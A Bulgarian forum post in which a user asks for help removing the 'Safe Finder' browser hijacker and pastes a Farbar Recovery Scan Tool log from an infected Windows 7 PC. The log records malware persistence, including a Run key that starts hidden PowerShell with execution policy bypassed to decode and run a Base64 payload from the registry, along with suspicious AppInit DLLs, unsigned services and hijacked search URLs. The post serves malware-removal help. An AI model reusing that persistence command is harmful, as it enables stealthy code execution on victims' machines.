Премини към съдържанието
Форумът в приложение

По-лесно сърфиране. Научи повече.
Kaldata.com - Форуми

Приложение на форума на цял екран с push известия, значки и други.

За да инсталирате това приложение на iOS и iPadOS
  1. Докоснете Иконата за споделяне в Safari
  2. Превъртете менюто и докоснете Добавяне към началния екран.
  3. Докоснете Добавяне в горния десен ъгъл.
За да инсталирате това приложение на Android
  1. Докоснете менюто с 3 точки (⋮) в горния десен ъгъл на браузъра.
  2. Докоснете Добавяне към началния екран или Инсталиране на приложение.
  3. Потвърдете, като докоснете Инсталиране.
Добави Kaldata.com в предпочитани източници в Google

Добре дошли!

Добре дошли в нашите форуми, пълни с полезна информация. Имате проблем с компютъра или телефона си? Публикувайте нова тема и ще намерите решение на всичките си проблеми. Общувайте свободно и открийте безброй нови приятели.

Моля, регистрирайте се за да публикувате тема и да получите пълен достъп до всички функции.

 

Браузъра ми се побърква от някаква програма Safe Finder

stefanbkanev
в Премахване на зловреден софтуер

Featured Replies

Здравейте,

Много моля за съдействие от няколко дена прехванах някакъв вирус в browsera safe finder, прецака ми се търсачката, отварям табове по 5-6-7 пъти, докато ми отвори, това което искам. Опитах се да изтрия програмата от control panel (изтрих я), но без никакъв успех, преинсталирах Mozilla (това ми е браузъра по подразбиране) и отново никакъв ефект. Много моля за вашето съдействие.

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:05-03-2016 01
Ran by Stefan (administrator) on STEFAN-PC (20-03-2016 19:37:10)
Running from C:\Users\Stefan\Downloads
Loaded Profiles: Stefan & postgres (Available Profiles: Stefan & postgres)
Platform: Windows 7 Ultimate Service Pack 1 (X64) Language: Английски (Съединени щати)
Internet Explorer Version 11 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
(NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsLdrSrv.exe
(Microsoft Corporation) C:\Windows\System32\wlanext.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATKGFNEX\GFNEXSrv.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControl.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\ATKOSD.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\USBChargerPlus\USBChargerPlus.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\WDC.exe
(ASUS) C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnSrv.exe
() C:\Program Files\BitTorrent\BitTorrent.exe
(ASUS) C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnWMI.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\devmonsrv.exe
() C:\ProgramData\CloudPrinter\CloudPrinter.exe
(Intel(R) Corporation) C:\Program Files\Intel\WiFi\bin\EvtEng.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
() C:\ProgramData\KMSAuto\KMSES.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\pg_ctl.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(PostgreSQL Global Development Group) C:\Program Files\PostgreSQL\9.0\bin\postgres.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
() C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe
(Intel(R) Corporation) C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Intel® Corporation) C:\Program Files\Intel\WiFi\bin\ZeroConfigService.exe
(ASUSTeK Computer Inc.) C:\Program Files (x86)\ASUS\ASUS Live Update\LiveUpdate.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\obexsrv.exe
(Vodafone) C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\VMCService.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Bluetooth\BleServicesCtrl.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(Microsoft Corporation) C:\Program Files\Microsoft Office\Office14\MSOSYNC.EXE
(Microsoft Corporation) C:\Windows\SysWOW64\msiexec.exe
(MyPCBackup.com) C:\Program Files (x86)\MyPC Backup\MyPC Backup.exe
(ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe
(ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe
(Vodafone) C:\Program Files (x86)\Vodafone\Vodafone Mobile Connect\Bin\MobileConnect.exe
(Razer Inc.) C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
() C:\Windows\Installer\{3F34C515-AD21-CC86-6996-BAB248A3AE93}\syshost.exe
(Microsoft Corporation) C:\Windows\SysWOW64\netsh.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe
(Just Develop It) C:\Program Files (x86)\MyPC Backup\BackupStack.exe
(Intel(R) Corporation) C:\Program Files\Intel\BluetoothHS\BTHSSecurityMgr.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(Microsoft Corporation) C:\Windows\SysWOW64\cmd.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
() C:\ProgramData\afoir\afoir.exe
(Pandora.TV) C:\Program Files (x86)\PANDORA.TV\PanService\KMPService.exe
(PandoraTV) C:\Program Files (x86)\PANDORA.TV\PanService\KMPProcess.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
(Microsoft Corporation) C:\Windows\System32\slui.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe


==================== Registry (Whitelisted) ===========================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [BLEServicesCtrl] => C:\Program Files (x86)\Intel\Bluetooth\BleServicesCtrl.exe [178960 2012-03-15] (Intel Corporation)
HKLM\...\Run: [BTMTrayAgent] => rundll32.exe "C:\Program Files (x86)\Intel\Bluetooth\btmshell.dll",TrayApp
HKLM\...\Run: [Nvtmru] => "C:\Program Files (x86)\NVIDIA Corporation\NVIDIA Update Core\nvtmru.exe"
HKLM\...\Run: [ShadowPlay] => "C:\Windows\system32\rundll32.exe" C:\Windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2789248 2016-02-17] (NVIDIA Corporation)
HKLM-x32\...\Run: [ATKOSD2] => C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe [322208 2012-06-25] (ASUSTek Computer Inc.)
HKLM-x32\...\Run: [ATKMEDIA] => C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe [174752 2012-06-19] (ASUSTek Computer Inc.)
HKLM-x32\...\Run: [HControlUser] => C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe [105016 2009-06-19] (ASUS)
HKLM-x32\...\Run: [USB3MON] => C:\Program Files (x86)\Intel\Intel(R) USB 3.0 eXtensible Host Controller Driver\Application\iusb3mon.exe [291608 2012-02-07] (Intel Corporation)
HKLM-x32\...\Run: [MobileConnect] => %programfiles%\Vodafone\Vodafone Mobile Connect\Bin\MobileConnect.exe /silent
HKLM-x32\...\Run: [] => [X]
HKLM-x32\...\Run: [Razer Synapse] => C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe [592704 2015-09-29] (Razer Inc.)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [596528 2015-11-09] (Oracle Corporation)
HKLM-x32\...\Run: [syshost32] => C:\Windows\Installer\{3F34C515-AD21-CC86-6996-BAB248A3AE93}\syshost.exe
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
HKLM\...\Policies\Explorer\Run: [1337573597] => C:\ProgramData\msvddgr.exe [73427712 2010-11-21] ()
HKU\S-1-5-19\...\Run: [Sidebar] => %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
HKU\S-1-5-20\...\Run: [Sidebar] => %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [uTorrent] => C:\Users\Stefan\AppData\Roaming\uTorrent\uTorrent.exe [2094080 2016-03-06] (BitTorrent Inc.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Gyazo] => C:\Program Files (x86)\Gyazo\GyStation.exe [3586848 2016-02-17] (Nota Inc.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3014224 2016-02-04] (Valve Corporation)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [{B64A3306-E5BC-4C45-8075-ABDC901C1837}] => powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\NcMrJwyXG').YFEXBDTAUQEL)));
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [OfficeSyncProcess] => C:\Program Files\Microsoft Office\Office14\MSOSYNC.EXE [909696 2010-12-21] (Microsoft Corporation)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [50676864 2016-03-01] (Skype Technologies S.A.)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [DAEMON Tools Lite] => C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe [3672640 2013-03-14] (Disc Soft Ltd)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\Run: [Voobly] => C:\Program Files (x86)\Voobly\voobly.exe [159744 2016-02-23] (Voobly)
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {2bf66421-9032-11e5-8ebf-606c665b70ec} - F:\SETUP.EXE
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {2bf66425-9032-11e5-8ebf-606c665b70ec} - H:\SETUP.EXE
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {4acbd087-3947-11e5-8ca3-606c665b70ec} - F:\setup.exe
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\...\MountPoints2: {d69c4c94-9983-11e5-94d3-606c665b70ec} - F:\aocsetup.exe /autorun
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\Windows\system32\ssText3d.scr [333824 2010-11-21] (Microsoft Corporation)
AppInit_DLLs: C:\ProgramData\afoir\Zoomhold.dll => C:\ProgramData\afoir\Zoomhold.dll [363520 2016-03-13] ()
AppInit_DLLs-x32: C:\ProgramData\afoir\Bioozekix.dll => C:\ProgramData\afoir\Bioozekix.dll [257536 2016-03-13] ()
Startup: C:\Users\Stefan\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPC Backup.lnk [2014-07-16]
ShortcutTarget: MyPC Backup.lnk -> C:\Program Files (x86)\MyPC Backup\MyPC Backup.exe (MyPCBackup.com)

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{61418247-B566-47D0-BE75-6F77C03F365B}: [DhcpNameServer] 192.168.1.1

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.google.com
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.google.com
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLF0dPujPrN1bYvhG3ajvv2yu3GBQ7I4Yc17Hp2rRIy_2djBa5nUcY-CyiWCvtnEOeV_w40Ml0AZTEUJLD9Zqxx2A5hl_bUA,
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1000\Software\Microsoft\Internet Explorer\Main,SearchAssistant = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLF0dPujPrN1bYvhG3ajvv2yu3GBQ7I4Yc17Hp2rRIy_2djBa5nUcY-CyiWCvtnEOeV_w40Ml0AZTEUJLD9Zqxx2A5hl_bUA,
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Search Bar = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
HKU\S-1-5-21-2911250186-2008469882-1143044474-1004\Software\Microsoft\Internet Explorer\Main,SearchAssistant = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
URLSearchHook: HKLM-x32 -> Default = {CCC7B151-1D8C-11E3-B2AD-F3EF3D58318D}
SearchScopes: HKLM -> {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = hxxp://dts.search.ask.com/sr?src=ieb&gct=ds&appid=210&systemid=488&v=a13277-353&apn_uid=9752226053614134&apn_dtid=TCH001&o=APN11459&apn_ptnrs=AG1&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 -> ielnksrch URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1000 -> {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1004 -> DefaultScope {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
SearchScopes: HKU\S-1-5-21-2911250186-2008469882-1143044474-1004 -> {ielnksrch} URL = hxxp://%66%65%65%64.%68%65%6C%70%65%72%62%61%72.%63%6F%6D/?p=mKO_AwFzXIpYRYEqQao2TxTGptbOxpBNaGWBzMpXPRmi4hopKfidXZkRv6blzxu94dGhq3Nl1hoQey-SRZn8F_--75UmsrikyazbHGGJNMOOLFH6byIrfFjs24F_OfewHZm6KxoeSQaVIzRApUJLXXdm6TKM6NVoVf0mxbRTyADxqSHqoKHtrjRllu4XXVCLun_uQ_5OGI0,&q={searchTerms}
BHO: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL [2012-08-16] (Microsoft Corporation)
BHO: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2010-12-21] (Microsoft Corporation)
BHO-x32: AtuZi -> {65daaf6f-90ac-49a4-9b47-d353c427367a} -> C:\Program Files (x86)\AtuZi\AtuZibho.dll [2014-06-30] (AtuZi)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\ssv.dll [2015-11-24] (Oracle Corporation)
BHO-x32: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2010-12-21] (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\jp2ssv.dll [2015-11-24] (Oracle Corporation)
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll [2016-02-01] (Skype Technologies)
Handler: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
Handler-x32: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)

FireFox:
========
FF ProfilePath: C:\Users\Stefan\AppData\Roaming\Mozilla\Firefox\Profiles\n61u4qmb.default-1458467973018
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_21_0_0_182.dll [2016-03-11] ()
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_21_0_0_182.dll [2016-03-11] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\dtplugin\npDeployJava1.dll [2015-11-24] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.66.2 -> C:\Program Files (x86)\Java\jre1.8.0_66\bin\plugin2\npjp2.dll [2015-11-24] (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-01] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-01] (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2015-12-18] (Adobe Systems Inc.)
FF Extension: Skype - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2016-01-06]
FF Extension: Default - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}.xpi [2016-03-20] [not signed]

Chrome:
=======
CHR StartupUrls: Default -> "hxxp://istart.webssearches.com/?type=hp&ts=1405030083&from=amt&uid=HGSTXHTS541010A9E680_JD1000191D7WLN1D7WLNX"
CHR Profile: C:\Users\Stefan\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Wallet) - C:\Users\Stefan\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-07-19]
CHR HKLM-x32\...\Chrome\Extension: [fcgnigmofekcllgbiejhmigggmgehkip] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - C:\Program Files (x86)\Skype\Toolbars\ChromeExtension\skype_chrome_extension.crx [2016-01-08]

==================== Services (Whitelisted) ========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R2 afoir; C:\ProgramData\\afoir\\afoir.exe [529408 2016-03-13] () [File not signed]
R2 ASUS InstantOn; C:\Program Files (x86)\ASUS\InstantOn for NB\InsOnSrv.exe [277120 2012-04-13] (ASUS)
R2 BackupStack; C:\Program Files (x86)\MyPC Backup\BackupStack.exe [53320 2014-11-13] (Just Develop It) <==== ATTENTION
R2 BitTorrent; C:\Program Files\BitTorrent\BitTorrent.exe [383488 2016-03-13] () [File not signed]
R2 c2cautoupdatesvc; C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe [1433216 2016-01-08] (Microsoft Corporation)
R2 c2cpnrsvc; C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe [1773696 2016-01-08] (Microsoft Corporation)
R2 CloudPrinter; C:\ProgramData\\CloudPrinter\\CloudPrinter.exe [761856 2016-03-13] () [File not signed]
R2 GfExperienceService; C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe [1164672 2016-02-17] (NVIDIA Corporation)
R2 KMSEmulator; C:\ProgramData\KMSAuto\KMSES.exe [249344 2013-11-16] () [File not signed]
S2 KMSServerService; D:\Торенти\KMSAuto Easy 1.06.V6 (Activator For Windows 7,8,8.1 and Office 1\KMSServerService.exe [260608 2013-11-16] (My Digital Life Forums) [File not signed]
S3 MyWiFiDHCPDNS; C:\Program Files\Intel\WiFi\bin\PanDhcpDns.exe [273168 2011-12-08] ()
R2 NvNetworkService; C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe [1880960 2016-02-17] (NVIDIA Corporation)
S3 NvStreamNetworkSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe [6474112 2016-02-17] (NVIDIA Corporation)
S2 NvStreamSvc; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe [2609024 2016-02-17] (NVIDIA Corporation)
R2 PanService; C:\Program Files (x86)\PANDORA.TV\PanService\KMPService.exe [1922600 2016-03-16] (Pandora.TV)
R2 postgresql-x64-9.0; C:\Program Files\PostgreSQL\9.0\bin\pg_ctl.exe [111104 2012-09-21] (PostgreSQL Global Development Group) [File not signed]
S2 pyodqctprodlct; C:\Users\Stefan\AppData\Local\Konkstrip.exe [28160 2016-03-13] () [File not signed]
R2 Razer Game Scanner Service; C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe [187048 2015-06-23] ()
